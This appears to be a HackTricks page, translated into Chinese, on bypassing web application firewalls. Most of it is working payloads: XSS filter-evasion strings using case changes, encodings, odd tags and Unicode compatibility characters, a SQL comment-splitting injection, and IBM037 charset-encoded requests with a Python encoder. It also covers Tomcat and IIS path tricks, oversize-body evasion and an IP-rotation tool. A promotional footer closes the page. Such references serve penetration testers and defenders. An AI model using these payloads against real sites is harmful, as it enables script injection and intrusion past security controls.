# WAF Bypass

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## 正则表达式绕过

可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效载荷。可以在[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads)和[OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)找到各种绕过的资源。以下示例摘自[这篇文章](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)。

```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```

## 字符集编码

```bash
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037

##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))

## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```

## 混淆

```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```

## Unicode Compatibility

根据Unicode规范化的实现方式（更多信息请参考[这里](https://jlajara.gitlab.io/Bypass_WAF_Unicode)），共享Unicode兼容性的字符可能能够绕过WAF并执行预期的有效负载。可以在[这里](https://www.compart.com/en/unicode)找到兼容字符。

### 示例

```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
```

## 超出大小限制

在基于云的WAF中，如果负载大于X大小，请求将不会被WAF检查。您可以简单地利用这一点来绕过它们。

### IP轮换

* <https://github.com/rootcathacking/catspin>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
